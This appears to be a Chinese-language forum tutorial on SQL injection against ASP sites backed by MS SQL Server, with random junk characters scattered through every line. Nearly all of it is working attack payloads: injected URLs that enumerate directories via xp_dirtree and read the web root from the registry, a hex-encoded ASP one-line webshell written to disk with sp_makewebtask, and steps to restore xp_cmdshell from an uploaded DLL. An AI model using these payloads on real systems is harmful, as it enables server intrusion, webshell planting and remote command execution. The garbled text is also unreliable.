好,我们exec master..xp_dirtree'd:/test'
. N" O" ?/ c6 b: L# F0 B假设我们在test里有两个文件夹test1和test2在test1里又有test34 X1 N5 Y8 C9 @9 s1 j% y
结果显示
: V/ a, ?1 L& \* T
9 l6 k7 t f+ Ysubdirectory depth
8 i) R: @; u- N- _" X/ P) Gtest1 1
8 _5 Y' f7 c) Y6 S- r& @9 k1 `- Ktest3 23 M5 k8 `- r3 b. ?7 @! W G
test2 1& X$ t0 T) t* Y) O& t! m* Y1 v% M
" _# |/ e+ a9 T: U1 `哈哈发现没有那个depth就是目录的级数
1 Z- T |9 Z x/ P8 iok了,知道怎么办了吧# c, e& D( _! e$ l2 |) v
% a' U7 t7 R' G4 T0 v7 W3 Khttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
4 t* T$ ^2 \& e3 Q5 J c# ] Lhttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- , k. S4 A: u P) r
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-' j' A8 ^/ O5 D" h' l7 R
+ E. i4 H& b8 H. Y. D8 M4 ^
只要加上id=1,就是第一级目录 。6 k9 |8 g4 ^4 p; g: j
, u- K1 R3 L5 u. V" h
3 ~) I n0 o2 P. u, M( e+ w通过注册表读网站路径:( d, y) ?' d5 y# q+ D5 `3 d' {
0 y; C1 y" ?. z1 ^) {5 V4 K1.;create table [dbo].[cyfd] ([gyfd][char](255));+ d7 {% e4 B8 B1 w+ w- U* N( O
7 L7 ?1 v3 ~& F1 I- o
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
$ k1 M8 p% o, yid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--0 {/ o q) w' x! d& K
" {, W# Q; m3 [
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
; ]1 r2 e! d& o" p/ d2 s( j3 v/ D6 Vand 1=(select count(*) from cyfd where gyfd > 1) $ `: } M( ]/ L8 N
这样IE报错,就把刚才插进去的Web路径的值报出来了: v) p% R1 @) O4 ~! v
# M, v9 J) b4 i* l! T, U6 A" {# c
4.drop table cyfd;-- 删除临时表+ m6 @4 ^4 U. q( Q6 T
, E, R' `$ d4 Y5 j5 c
获得webshell方法:& S `7 d. z; A ~* P4 [
1.create table cmd (a image)-- \**cmd是创建的临时表
/ F& y) B6 h/ ?6 L( N+ M
$ v$ ]1 E0 h" e `2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话$ k7 _* K; D! u: {+ f. r* n- r5 L
9 B+ Z; L3 h: G& Z2 a$ h; F% P# ^
, ?/ h% d d+ {2 U {% D3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
* r2 q( |. G8 Y) K2 O- y& xEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
# _; j. g) S$ S! q! S/ J: J
$ j& |' F# X9 o+ `; x4.drop table cmd;-- 删除cmd临时表$ Y8 j) Z' [3 N5 u7 f' J
7 Y( f2 C3 l1 G- J恢复xp_cmdshell方法之一:$ V3 J) o+ w0 S8 i6 c, e! V
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
. t' y4 v; B7 r" whttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
0 K* H! \$ f$ ?7 Y+ s3 x1 N恢复,支持绝对路径的恢复哦。:)
; H) a; K% O# t6 @8 S |